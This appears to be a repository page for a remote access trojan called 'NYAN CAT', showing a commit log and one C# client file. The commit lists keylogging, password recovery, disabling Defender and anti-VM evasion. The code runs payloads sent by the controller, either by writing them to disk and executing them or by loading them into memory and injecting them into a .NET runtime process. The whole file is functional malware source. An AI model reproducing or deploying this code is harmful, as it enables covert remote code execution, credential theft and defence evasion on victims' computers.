NYAN CAT ab14c1e9bc Update
-Added report window
-Added save keylogger
-Added save remote desktop images
-Added PC options
-Updated password recovery
-Updated ProcessCritical
-Updated UI to remote shell
-Updated disable defender
-Updated anti VM
-Updated client ID method
-Fixed chat
-Fixed send to memory
-Specail thanks to @MrDevBot and @Thoxy67
2019-05-21 22:04:37 +03:00

70 lines
2.4 KiB
C#

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using Client.MessagePack;
namespace Client.Handle_Packet
{
public class HandleSendTo
{
public void SendToDisk(MsgPack unpack_msgpack)
{
try
{
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
Process.Start(fullPath);
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
{
new HandleUninstall();
}
}
catch (Exception ex)
{
Packet.Error(ex);
}
}
public void SendToMemory(MsgPack unpack_msgpack)
{
try
{
byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes();
string injection = unpack_msgpack.ForcePathObject("Inject").AsString;
byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes();
if (injection.Length == 0)
{
new Thread(delegate ()
{
Assembly loader = Assembly.Load(buffer);
object[] parm = null;
if (loader.EntryPoint.GetParameters().Length > 0)
{
parm = new object[] { new string[] { null } };
}
loader.EntryPoint.Invoke(null, parm);
})
{ IsBackground = true }.Start();
}
else
{
new Thread(delegate ()
{
Assembly loader = Assembly.Load(plugin);
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
})
{ IsBackground = true }.Start();
}
}
catch (Exception ex)
{
Packet.Error(ex);
}
}
}
}